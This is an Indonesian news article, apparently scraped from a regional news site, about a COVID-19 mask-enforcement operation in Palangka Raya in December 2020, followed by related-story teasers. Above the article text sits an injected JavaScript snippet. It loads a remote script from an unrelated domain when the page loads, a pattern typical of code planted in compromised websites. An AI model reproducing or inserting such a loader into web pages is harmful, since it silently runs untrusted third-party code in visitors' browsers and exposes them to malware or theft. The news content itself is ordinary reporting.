(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKA RAYA — Tim gabungan Unit Reaksi Cepat (URC) Divisi Patroli Pengawasan Protokol Kesehatan (Prokes) menggelar operasi yustisi di kawasan Pasar Besar Palangka Raya, Selasa (29/12/2020).
Ipda Ketut Pardiasa, selaku Perwira Pengendali (Padal) Polresta Palangka Raya mengatakan, dalam pelaksanaan operasi yustisi ini, terjaring sebanyak 29 orang tidak memakai masker.
Dari 29 pelanggar, 14 orang mendapat sanksi denda administrasi dan 10 orang memilih sanksi kerja sosial. Sedangkan satu orang menerima teguran tertulis.
“Ini sebagai upaya memutus mata rantai penyebaran Covid-19 di Kota Palangka Raya dan dalam rangka penindakan peraturan wali kota nomor 26 tahun 2020,” ujarnya.
Ketut menegaskan, pihaknya akan terus berupaya menerapkan prokes 3 M, yakni memakai masker, mencuci tangan dan menjaga jarak, kepada masyarakat. (kanalkalimantan.com/tri)
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.